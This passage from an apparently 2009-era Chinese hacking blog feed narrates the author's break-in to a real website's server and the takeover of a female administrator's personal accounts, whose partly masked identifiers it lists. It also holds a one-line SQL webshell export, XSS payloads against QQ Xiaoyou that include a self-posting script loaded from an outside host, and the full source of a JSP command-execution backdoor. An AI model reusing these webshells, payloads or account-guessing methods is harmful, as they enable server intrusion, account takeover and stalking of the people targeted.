但问题此时就出在这里了，大家都知道一般使用mysql数据库的网站，都喜欢使用phpmyadmin来管理数据库，那么我们就来找phpmyadmin的地址，郁闷的是，我找了半天都找不到，我用自己弄的小工具扫php网站后台和phpmyadmin以及上传页面，也米有找到，郁闷了！更郁闷的是magic_quotes_gpc＝on ，况且%2527绕不过魔法引号，也导不出啊！<br>
这时候我有了一个思路，记得上次我搞一个大的足球网站的时候，root权限，米有找到phpmyadmin，也是MYSQL5，无奈到论坛求助，最后cnxhack牛牛搞定了，他说思路很简单，有DZ6.x的论，那么利用MYSQL5注射到论坛管理员密码，然后登陆进后台开启wap，再利用前段时候的DZ的0day搞定。难道说我也要这么做吗？就在我准备用这种办法的时候，我忽然想到了MYSQL连接器，按照常规来说都是本地才能连接的，这次竟然RP大爆发给了我一次“艳遇”，竟然我连接上去了，如图6所示！oh，我的天啊！太可怕了！既然这样就好办多了，和phpmyadmin一样搞！<br>
<img alt="" src="http://www.hack58.net/Article/UploadPic/2009-5/20095505859679.gif" border="0"> <img id="aimg_1010" style="WIDTH: 467px" alt="6.jpg" src="http://www.hack58.net/Article/UploadPic/2009-5/2009550590397.jpg" width="600" xxxxx="showMenu(this.id, false, 2)" status="2" file="attachments/month_0905/0905021652546d00690537afd9.jpg" name="aimg_1010">
<div><a title="6.jpg" href="http://t00ls.net/attachment.php?aid=1010&amp;k=4418264bb05e9cba59e48645a54d1893&amp;t=1241339968&amp;nothumb=yes&amp;sid=f1fegC5XVAgH%2BgwUB8ZYR7Pd%2BzrRWwLfdjNH%2BZAzuKFs%2FBQ" target="_blank"><b>下载</b></a> (109.92 KB)<br>
<div>昨天&nbsp;16:52</div>
</div>
<br>
3.导出一句话木马<br>
在Gmysql编辑器中执行以下脚本：<br>
= = = == = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =<br>
<br>
Create TABLE a (cmd text NOT NULL);<br>
Insert INTO a (cmd) VALUES('&lt;?php eval($_POST[cmd]);?&gt;');<br>
select cmd from a into outfile '网站可写路径/一句话马名.php';<br>
Drop TABLE IF EXISTS a;<br>
= = = = = = = = = = = = = = = = == = = = = = == = == = = = == = = = = = = = = = = = = = =<br>
赶紧去访问一下一句话马地址，一片空白足以说明成功写入！赶紧上传我的php大马，查看了一下果然是<a href="http://www.hack58.net/" target="_blank">windows</a>系统，而且是2K的服务器！接下来就是提权了，拿了shell不提权有点对不起自己奥！先看看开了3389米有，远程连接一下，连接不上，我用phpshell执行了下命令，发现也不是内网奥！改端口了？又上传了个asp大马，查看了下远程登陆端口，发现果然是改了端口，改为了4401。（4401？不就是“死死等你”的谐音吗？哈哈，天要助我啊！我看见服务器在像向我招手了）<br>
<img alt="" src="http://www.hack58.net/Article/UploadPic/2009-5/20095505859679.gif" border="0"> <img id="aimg_999" style="WIDTH: 400px" alt="7.jpg" src="http://www.hack58.net/Article/UploadPic/2009-5/2009550591102.jpg" width="600" xxxxx="showMenu(this.id, false, 2)" status="2" file="attachments/month_0905/0905021645d8e454114b8ff634.jpg" name="aimg_999">
<div><a title="7.jpg" href="http://t00ls.net/attachment.php?aid=999&amp;k=83fc8017405f33ab5ad7939029b097ef&amp;t=1241339968&amp;nothumb=yes&amp;sid=f1fegC5XVAgH%2BgwUB8ZYR7Pd%2BzrRWwLfdjNH%2BZAzuKFs%2FBQ" target="_blank"><b>下载</b></a> (52.15 KB)<br>
<div>昨天&nbsp;16:45</div>
</div>
<br>
4.无法创建管理员用户<br>
这时提权已经不难了，虽然没有SU，但是有了root和MYSQL5，那就简单了，udf导出提权！但是我米有用此种方法，因为我刚才查看开启服务的时候，发现服务器上面有麦咖啡杀软，肯定是不行的，我是直接用phpshell直接建立，这时候拥有系统权限的它有这个权限。先net user一下，发现有几个远程登陆的管理员，我先建立一下试试，没有回显，我擦，怎么回事？明明是管理员权限啊！扔个建立用户的bat运行下看看，再回来看看还是没有建立成功，郁闷了，如图8所示。<br>
<img alt="" src="http://www.hack58.net/Article/UploadPic/2009-5/20095505859679.gif" border="0"> <img id="aimg_1000" style="WIDTH: 400px" alt="8.jpg" src="http://www.hack58.net/Article/UploadPic/2009-5/2009550591931.jpg" width="600" xxxxx="showMenu(this.id, false, 2)" status="2" file="attachments/month_0905/09050216454395df046b6c8a85.jpg" name="aimg_1000">
<div><a title="8.jpg" href="http://t00ls.net/attachment.php?aid=1000&amp;k=02b5203e6941a741c9d6edbcae5da9ec&amp;t=1241339968&amp;nothumb=yes&amp;sid=f1fegC5XVAgH%2BgwUB8ZYR7Pd%2BzrRWwLfdjNH%2BZAzuKFs%2FBQ" target="_blank"><b>下载</b></a> (46.96 KB)<br>
<div>昨天&nbsp;16:45</div>
</div>
<br>
5.木马帮忙<br>
记得暗组的new4大哥给我做过一个免杀的暗组远控木马（new4大哥人很不错，他们论坛的免杀很牛X的说），我让安装麦咖啡的朋友测试下，还免杀！，扔上去运行一下，等了一会上线了，如图9所示，哈哈！远程telnet一下，我日奥，原来是开启了密码复杂性，汗！这下不就好办了，随便输入点符合条件就行了！接着就是远程登陆了，OK，进去了，如图10所示，一切都木有什么困难（今天运气这么好，从来RP米有好过，去买彩票肯定中奖）！<br>
<img alt="" src="http://www.hack58.net/Article/UploadPic/2009-5/20095505859679.gif" border="0"> <img id="aimg_1011" style="WIDTH: 541px" alt="9.jpg" src="http://www.hack58.net/Article/UploadPic/2009-5/2009550591917.jpg" width="600" xxxxx="showMenu(this.id, false, 2)" status="2" file="attachments/month_0905/090502165216cf20a50dae4fa5.jpg" name="aimg_1011">
<div><a title="9.jpg" href="http://t00ls.net/attachment.php?aid=1011&amp;k=1220683383491a872d8c082d64a3b616&amp;t=1241339968&amp;nothumb=yes&amp;sid=f1fegC5XVAgH%2BgwUB8ZYR7Pd%2BzrRWwLfdjNH%2BZAzuKFs%2FBQ" target="_blank"><b>下载</b></a> (150.52 KB)<br>
<div>昨天&nbsp;16:52</div>
</div>
<br>
<img alt="" src="http://www.hack58.net/Article/UploadPic/2009-5/20095505859679.gif" border="0"> <img id="aimg_1001" style="WIDTH: 400px" alt="10.jpg" src="http://www.hack58.net/Article/UploadPic/2009-5/2009550591790.jpg" width="600" xxxxx="showMenu(this.id, false, 2)" status="2" file="attachments/month_0905/090502164540493f219b5a055f.jpg" name="aimg_1001">
<div><a title="10.jpg" href="http://t00ls.net/attachment.php?aid=1001&amp;k=c9c2bfa42c4d52cd7372a41012ab040e&amp;t=1241339968&amp;nothumb=yes&amp;sid=f1fegC5XVAgH%2BgwUB8ZYR7Pd%2BzrRWwLfdjNH%2BZAzuKFs%2FBQ" target="_blank"><b>下载</b></a> (59.77 KB)<br>
<div>昨天&nbsp;16:45</div>
</div>
<br>
（三）我也来社工<br>
1.社工进入其管理的一台服务器<br>
接下来就这么简单么？不？我看到了有一个管理员的名字引起了我的注意，因为我刚开始在注射之前，不是去那个论坛看过吗？我发现网站管理员也是这个名字，这就引起了我的注意。（众人：引起注意就引起注意了，你想怎么滴？你有他的密码么？装逼了又？我：？？不是的，听我说完，我之前翻网站的时候，看见了一个文件居然有这个管理员的密码，这下不是有了么？试试！众人：？？？。。。。。。。。。。。。。。。）我试了试居然可以登陆远程服务器，如图11所示，密码居然都是一样的。<br>
<img alt="" src="http://www.hack58.net/Article/UploadPic/2009-5/20095505859679.gif" border="0"> <img id="aimg_1002" style="WIDTH: 400px" alt="11.jpg" src="http://www.hack58.net/Article/UploadPic/2009-5/2009550591843.jpg" width="600" xxxxx="showMenu(this.id, false, 2)" status="2" file="attachments/month_0905/09050216464be2d4206f5fcf81.jpg" name="aimg_1002">
<div><a title="11.jpg" href="http://t00ls.net/attachment.php?aid=1002&amp;k=f293d0a77536f6329455632a74372194&amp;t=1241339968&amp;nothumb=yes&amp;sid=f1fegC5XVAgH%2BgwUB8ZYR7Pd%2BzrRWwLfdjNH%2BZAzuKFs%2FBQ" target="_blank"><b>下载</b></a> (68.48 KB)<br>
<div>昨天&nbsp;16:46</div>
</div>
<br>
2.社工进入其管理的论坛<br>
后面继续社工，还成功的登陆了他的论坛，如图12所示进入了后台（此时已经没有意义了，已经拿到权限了）。这下可有得玩了，继续看看还能不能社工他的其他东西！<br>
<img alt="" src="http://www.hack58.net/Article/UploadPic/2009-5/20095505859679.gif" border="0"> <img id="aimg_1003" style="WIDTH: 400px" alt="12.jpg" src="http://www.hack58.net/Article/UploadPic/2009-5/2009550592940.jpg" width="600" xxxxx="showMenu(this.id, false, 2)" status="2" file="attachments/month_0905/0905021646a4a60d365f7afa97.jpg" name="aimg_1003">
<div><a title="12.jpg" href="http://t00ls.net/attachment.php?aid=1003&amp;k=f7f0647ab2be86806bc14bb4dd0d6be7&amp;t=1241339968&amp;nothumb=yes&amp;sid=f1fegC5XVAgH%2BgwUB8ZYR7Pd%2BzrRWwLfdjNH%2BZAzuKFs%2FBQ" target="_blank"><b>下载</b></a> (62.06 KB)<br>
<div>昨天&nbsp;16:46</div>
</div>
<br>
3.社工之收集资料<br>
呵呵，以前就米有玩过社工，关键这东西也不是说什么难度的，说起来也就是利用你所搜集的资料和够的信息对他所有的账号依次试验，关键是看这个人了，这个人如果太弱智了，社工他是轻而易举的事情！所以大家一定要防范社工，特别是在网络上！<br>
开始，打开谷歌，开始搜索，我十分汗颜啊！他的东西太多了奥，一个一个的来，我们这时候先不急于用这个密码去试验他所有的账号，而是清净下来，理清一个思路。想了半天，如下：<br>
（1）把所有他的页面浏览一遍，认真的仔细的查找资料，然后集合到一起对比！选出出现频率比较高的！<br>
（2）利用这些资料，再对那些有用的地方进行社工，比如邮箱了，或者淘宝上的资料等等（淘宝上面的是基本都是真实资料）<br>
（3）利用第二次收集的资料再搞第二次没有搞定的，如果第三次都没有效果，那么可以考虑放弃了！<br>
4.小有收获<br>
开始按照计划实施，首先我收集了她的个人信息（后来进去她QQ，知道的，空间里面有两个是隐私加密的相册，一个是自拍，一个是个人艺术照，这时我才知道的，这里牵扯到个人生活问题，不能泄露了）如下：<br>
个人：fXXXXove 冰X<br>
密码：xxxxx xxxxxx xxxxxx<br>
QQ：648XX14 9143XXXX<br>
支付宝：fxxxxov<br>
Email：<a href="http://www.hack41.cn/mailtfxxxxove@qq.com">fxxxxove@qq.com</a> <a href="http://www.hack41.cn/mailtfxxxxove@yahoo.com.cn">fxxxxove@yahoo.com.cn</a><br>
联系电话：134xxxx5919<br>
MSN：<a href="http://www.hack41.cn/mailtfxxxove@hotmail.com">fxxxove@hotmail.com</a><br>
出生日期：1980年x月x日<br>
第二步，从第一个开始，先是她DZ官网的登陆密码，进去翻了一下查看个人资料也米有翻到什么其他的东西奥！如图13所示。<br>
<img alt="" src="http://www.hack58.net/Article/UploadPic/2009-5/20095505859679.gif" border="0"> <img id="aimg_1004" style="WIDTH: 400px" alt="13.jpg" src="http://www.hack58.net/Article/UploadPic/2009-5/2009550592236.jpg" width="600" xxxxx="zoom(this, this.src)" unselectable="true" h="209" w="600" y="6537" x="194" outfunc="null" initialized="true" status="2" file="attachments/month_0905/09050216463666822dd77539b0.jpg" name="aimg_1004">
<div><a title="13.jpg" href="http://t00ls.net/attachment.php?aid=1004&amp;k=8a3e3a4ed2e09791be97eab7406b58e4&amp;t=1241339968&amp;nothumb=yes&amp;sid=f1fegC5XVAgH%2BgwUB8ZYR7Pd%2BzrRWwLfdjNH%2BZAzuKFs%2FBQ" target="_blank"><b>下载</b></a> (32.82 KB)<br>
<div>昨天&nbsp;16:46</div>
</div>
<br>
接着用第一个密码进入了她的西祠胡同和爱词霸空间里面，翻了翻，有个现居地和英语四级的简历以及兴趣爱好等等，如图14所示<br>
<img alt="" src="http://www.hack58.net/Article/UploadPic/2009-5/20095505859679.gif" border="0"> <img id="aimg_1005" style="WIDTH: 400px" alt="14.jpg" src="http://www.hack58.net/Article/UploadPic/2009-5/2009550592581.jpg" width="600" xxxxx="showMenu(this.id, false, 2)" status="2" file="attachments/month_0905/0905021646d005d4cb280861c7.jpg" name="aimg_1005">
<div><a title="14.jpg" href="http://t00ls.net/attachment.php?aid=1005&amp;k=e992a51a51dba4ff2935ce8af87c3145&amp;t=1241339968&amp;nothumb=yes&amp;sid=f1fegC5XVAgH%2BgwUB8ZYR7Pd%2BzrRWwLfdjNH%2BZAzuKFs%2FBQ" target="_blank"><b>下载</b></a> (44.31 KB)<br>
<div>昨天&nbsp;16:46</div>
</div>
<br>
后面天府论坛和百度空间也成功的进去了，如图15所示，只是百度的密码不一样奥，用的是她的第二个密码，第一个不行！<br>
<img alt="" src="http://www.hack58.net/Article/UploadPic/2009-5/20095505859679.gif" border="0"> <img id="aimg_1006" style="WIDTH: 400px" alt="15.jpg" src="http://www.hack58.net/Article/UploadPic/2009-5/2009550592587.jpg" width="600" xxxxx="showMenu(this.id, false, 2)" status="2" file="attachments/month_0905/090502164624ebfc5d011dbc54.jpg" name="aimg_1006">
<div><a title="15.jpg" href="http://t00ls.net/attachment.php?aid=1006&amp;k=927659ff77eb07ae8a516d36e4c6e66c&amp;t=1241339968&amp;nothumb=yes&amp;sid=f1fegC5XVAgH%2BgwUB8ZYR7Pd%2BzrRWwLfdjNH%2BZAzuKFs%2FBQ" target="_blank"><b>下载</b></a> (62.96 KB)<br>
<div>昨天&nbsp;16:46</div>
</div>
<br>
我汗，这女子这么不小心啊，接着是搜房网和新浪的博客，如图16所示，进去看了看，资料基本都还是一样的，不过多出了一个身高（貌似没有用奥）。<br>
<img alt="" src="http://www.hack58.net/Article/UploadPic/2009-5/20095505859679.gif" border="0"> <img id="aimg_1012" style="WIDTH: 400px" alt="16.jpg" src="http://www.hack58.net/Article/UploadPic/2009-5/2009550592784.jpg" width="600" xxxxx="showMenu(this.id, false, 2)" status="2" file="attachments/month_0905/09050216526172f7e90ab286d7.jpg" name="aimg_1012">
<div><a title="16.jpg" href="http://t00ls.net/attachment.php?aid=1012&amp;k=73ab13c192125b850a42a7227447a5bb&amp;t=1241339968&amp;nothumb=yes&amp;sid=f1fegC5XVAgH%2BgwUB8ZYR7Pd%2BzrRWwLfdjNH%2BZAzuKFs%2FBQ" target="_blank"><b>下载</b></a> (160.53 KB)<br>
<div>昨天&nbsp;16:52</div>
</div>
<br>
接着又进入了她的天极群乐的空间里面，这时候貌似有点资料奥，如图17所示，性别：女（呵呵，后来也证实了），年龄：32（不会吧，明明我找到的80年的啊，后来进空间看QQ照片，发现不像是32，很年轻的说，可能是80年出生是正确的）现居地：广东深圳（上面的那个山东的是假的？最后根据空间里面的旅游照片判断山东是假的，因为有一个外出郊游的相册，里面的的穿着，时间还有风景不像是山东的，而且南方和北方的气温差异很大，同一时期，衣服穿着是不一样的）最后发现QQ还有MSN以及淘宝的木有搞定，不怕还有机会！<br>
<img alt="" src="http://www.hack58.net/Article/UploadPic/2009-5/20095505859679.gif" border="0"> <img id="aimg_1007" style="WIDTH: 400px" alt="17.jpg" src="http://www.hack58.net/Article/UploadPic/2009-5/2009550593285.jpg" width="600" xxxxx="showMenu(this.id, false, 2)" status="2" file="attachments/month_0905/0905021646188a594efd9870a8.jpg" name="aimg_1007">
<div><a title="17.jpg" href="http://t00ls.net/attachment.php?aid=1007&amp;k=4b648439afcf22c4adfc28d69e50b597&amp;t=1241339968&amp;nothumb=yes&amp;sid=f1fegC5XVAgH%2BgwUB8ZYR7Pd%2BzrRWwLfdjNH%2BZAzuKFs%2FBQ" target="_blank"><b>下载</b></a> (56.69 KB)<br>
<div>昨天&nbsp;16:46</div>
</div>
<br>
接着是QQ号码，第一个密码已经失败了，那只有用其他的信息了，我用了出生日期试了试，又不在乎对方是否发现，直接登陆，就算是发现了也算是给对方提个醒吧！发现还是不行，我试着用她的名字和冰X的拼音输入还是不行，出生地的还有其他的拼音也不行。这个时候我们来想一想，对方怎么也是一个受过大学教育的，她不会弱智的用单一的数字或者拼音吧？可能是一个数字和字母的组合，不管它试试，也许是冷静下来的原因，第三次我用fxxxove加上1980居然成功了，虽然还米有看到但是我已经知道了，为什么？因为它提示输入什么登陆地址不一样的什么东东，就是那玩意，输入验证字母成功进入，如图18所示！<br>
<img alt="" src="http://www.hack58.net/Article/UploadPic/2009-5/20095505859679.gif" border="0"> <img id="aimg_1008" style="WIDTH: 400px" alt="18.jpg" src="http://www.hack58.net/Article/UploadPic/2009-5/2009550593983.jpg" width="600" xxxxx="zoom(this, this.src)" unselectable="true" h="214" w="600" y="8066" x="194" outfunc="null" initialized="true" status="2" file="attachments/month_0905/0905021646aab0032b5c78313c.jpg" name="aimg_1008">
<div><a title="18.jpg" href="http://t00ls.net/attachment.php?aid=1008&amp;k=0a596b81844eacb3f5b04d390786367b&amp;t=1241339968&amp;nothumb=yes&amp;sid=f1fegC5XVAgH%2BgwUB8ZYR7Pd%2BzrRWwLfdjNH%2BZAzuKFs%2FBQ" target="_blank"><b>下载</b></a> (49.1 KB)<br>
<div>昨天&nbsp;16:46</div>
</div>
<br>
这时候我赶紧去进空间查看资料，以及去邮箱，因为那里保存了很多的有用的信息，别小看了邮箱，它足以威胁到你所有的账号的安全！翻了很多东东不一一列举了，还有剩下的就是淘宝和MSN了，用过的人就知道，注册的时候需要一个找回信息或者更改密码用的邮箱，而她的恰恰是QQ邮箱，这下去试试去，有密码找回问题，她设置的也不是变态，一个是她的居住地之类的，还有就是喜爱看的电影，居住地有了，电影是什么呢？去哪里找呢？对了QQ空间上面不是有一个个人档的么？有一个“我推荐的电影”，我去看了看，她居然填写的是“我”（她自己奥，有点比我自恋），顺利填写完毕，我也懒得去关心结果了，因为我的目的已经达到了，有了邮箱那么可以做的事情不仅仅是这些，通过首次社工学习到了一些经验和防护措施（记得我年少无知之时，N多密码都一样，我赶紧去改去，别让谁给XXX了）！后来进入到这个美眉QQ空间的时候，发现个人照还是很漂亮的，这里不拿出来了，侵犯个人隐私，在百度空间发了一篇新的文章（仅主人可见的）提醒她一下！<br>
（四）总结与体会<br>
先谈服务器：按理来说，此服务器上面用的网站程序还是可以的，总共是三个网站，一个是DZ7.0的论坛，还有一个就是此次下手的网站，DZ6.x，另一个是网上卖手机的商城，也还可以，也没有去看，因为刚开始IP域名反查询的时候，是查不到的。但是那个DZ6.x的居然另外放了个其他的存在注射的，汗，无语！倘若此时我一次服务器开始嗅探，估计又能拿下其他同网段的服务器吧！没有必要了！<br>
再谈社工：仅以此事件提醒广大网友，不要把个人的真实资料泄露在网络上，那是非常可怕的！还有不要把自己的密码都设置成一样的，也不要以自己的出生日期或者真实资料作为密码，那样是非常不安全的！</div> ]]></description>
		<eb:creationDate>2009-05-05 23:28:11</eb:creationDate>
		<eb:modificationDate></eb:modificationDate>
    </item>
    <item>
		<title><![CDATA[ QQ校友XSS 0day及利用 ]]></title>
		<link>http://blog.tom.com/xieliang_521/article/7131.html</link>
		<description><![CDATA[ <div id="NewaspContentLabel" style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px"><font id="font_word" style="FONT-SIZE: 14px; FONT-FAMILY: 宋体, Verdana, Arial, Helvetica, sans-serif"></font>
<p><font id="font_word" style="FONT-SIZE: 14px; FONT-FAMILY: 宋体, Verdana, Arial, Helvetica, sans-serif">作者:<a href="http://hi.baidu.com/guhongying/blog/item/ddb94ae70343bd26b9382094.html" target="_blank">孤鸿影</a></font></p>
<p><b>作者已通知腾讯。</b></p>
<p>漏洞一:</p>
<p>QQ校友 班级共享硬盘 上传文件时对文件描述没有做任何过滤,导致XSS。</p>
<p>QQ校友使用了Ajax技术，来显示文件列表。在文件Msharemsg.js中使用innerHTML输出文件列表的HTML代码。由于使用了innerHTML，所以直接插入代码: &lt;script&gt;alert('孤鸿影')&lt;/script&gt;不会被执行。使用下面的格式既可：&lt;script defer&gt;alert('孤鸿影')&lt;/script&gt;。加入defer属性，那么浏览器在下载脚本的时候就不会立即对其进行处理，而是继续对页面进行下载和解析。这样我们插入的JavaScript就能正常运行。</p>
<p>漏洞二:</p>
<p>QQ校友在发blog时对插入图片过滤不严格，存在xss漏洞<br></p>
<p>在发blog时将插入图片URL写为如下代码即可触发：</p>
<i>javascript</i>:document.write('%3C%73%63%72%69%70%74%20%73%72%63%3D%22http://xxxxxx.com/xy.js%22%3E%3C%2F%73%63%72%69%70%74%3E');
<p>xy.js的作用是自动发布一篇日志,这篇日志中可以插入恶意代码,代码如下：<font face="新宋体">var url="/index.php?mod=blog&amp;act=dopost";<br>
<br>
var content="blog_content=By%3A%E5%AD%A4%E9%B8%BF%E5%BD%B1&amp;blog_title=XSS+test&amp;category=%E4%B8%AA%E4%BA%BA%E6%97%A5%E8%AE%B0";&nbsp;&nbsp; //日志内容,这里可以插入恶意代码<br>
<br>
function _sd_Post(Url,&nbsp; Args)<br>
<br>
{<br>
<br>
var xmlhttp;<br>
<br>
var error;<br>
<br>
eval('try {xmlhttp&nbsp; = new ActiveXObject("Microsoft.XMLHTTP"); } catch (e) {xmlhttp&nbsp; = null;error=e;}');<br>
<br>
if(null != xmlhttp)<br>
<br>
{<br>
<br>
xmlhttp.Open("POST",&nbsp; Url, false);<br>
<br>
xmlhttp.setRequestHeader("x-requested-with",&nbsp; "XMLHttpRequest");<br>
<br>
xmlhttp.setRequestHeader("Referer",&nbsp; "http://xy.qq.com/api_proxy.html");<br>
<br>
xmlhttp.setRequestHeader("Accept",&nbsp; "application/json, text/javascript, */*");<br>
<br>
xmlhttp.setRequestHeader("Content-Type",&nbsp; "application/x-www-form-urlencoded");<br>
<br>
xmlhttp.setRequestHeader("Host",&nbsp; "xy.qq.com");<br>
<br>
xmlhttp.Send(Args);<br>
<br>
strText = xmlhttp.responseText;<br>
<br>
}<br>
<br>
}<br>
<br>
_sd_Post(url,content);</font></p>
</div> ]]></description>
		<eb:creationDate>2009-05-05 23:26:21</eb:creationDate>
		<eb:modificationDate></eb:modificationDate>
    </item>
    <item>
		<title><![CDATA[ jsp简单实现CMD后门 ]]></title>
		<link>http://blog.tom.com/xieliang_521/article/7130.html</link>
		<description><![CDATA[ <p>&lt;%@ page language="java" import="java.util.*,java.io.*,java.net.*" pageEncoding="gb2312"%&gt;<br>
&lt;%!<br>
public static String exec(String cmd, Writer out) throws IOException<br>
{<br>
StringBuffer sb = new StringBuffer();<br>
int len = 0;<br>
byte by[] = new byte[cmd.length() * 10];<br>
Process p = Runtime.getRuntime().exec(cmd);<br>
InputStream is = p.getInputStream();<br>
while((len = is.read(by)) != -1)<br>
{<br>
&nbsp;&nbsp;&nbsp; String str = new String(by, 0, len);<br>
&nbsp;&nbsp;&nbsp; if(out != null)<br>
&nbsp;&nbsp;&nbsp; {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; out.write(str);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; out.flush();<br>
&nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp; sb.append(str);<br>
}<br>
is.close();<br>
return sb.toString();<br>
}<br>
%&gt;<br>
&lt;html&gt;<br>
&lt;style&gt;<br>
.love{<br>
border:#999999 1px solid; background-color:#EEEEEE<br>
}<br>
td,input,body {<br>
font-size: 13px;<br>
background-color: #FFFFFF;<br>
color: #000000;<br>
<br>
}<br>
a {<br>
color: #000000;<br>
text-decoration: underline;<br>
}<br>
&lt;/style&gt;<br>
&lt;body&gt;<br>
&lt;%<br>
String strcmd3 = request.getParameter("cmd");<br>
String strcmd2=null;<br>
try{<br>
strcmd2=exec(strcmd3,null);<br>
}catch(Exception ex)<br>
{<br>
ex.printStackTrace();<br>
}<br>
out.println("&lt;form name='cmd' action='' method='post'&gt;");<br>
out.println("&lt;input type='text' class='love' name='cmd' value="+strcmd3+" size=50&gt;");<br>
out.println("&lt;input type=submit class='love' name=submit value='go'&gt;");<br>
out.println("&lt;/form&gt;");<br>
if(strcmd2!=null)<br>
{<br>
out.println("&lt;textarea&nbsp;&nbsp; name='hack' rows='20' cols='65'&gt;"+strcmd2+"&lt;/textarea&gt;");<br>
}<br>
%&gt;<br>
&lt;/body&gt;<br>
&lt;/html&gt;</p> ]]></description>
		<eb:creationDate>2009-05-05 22:36:59</eb:creationDate>
		<eb:modificationDate></eb:modificationDate>
    </item>
</channel>
</rss>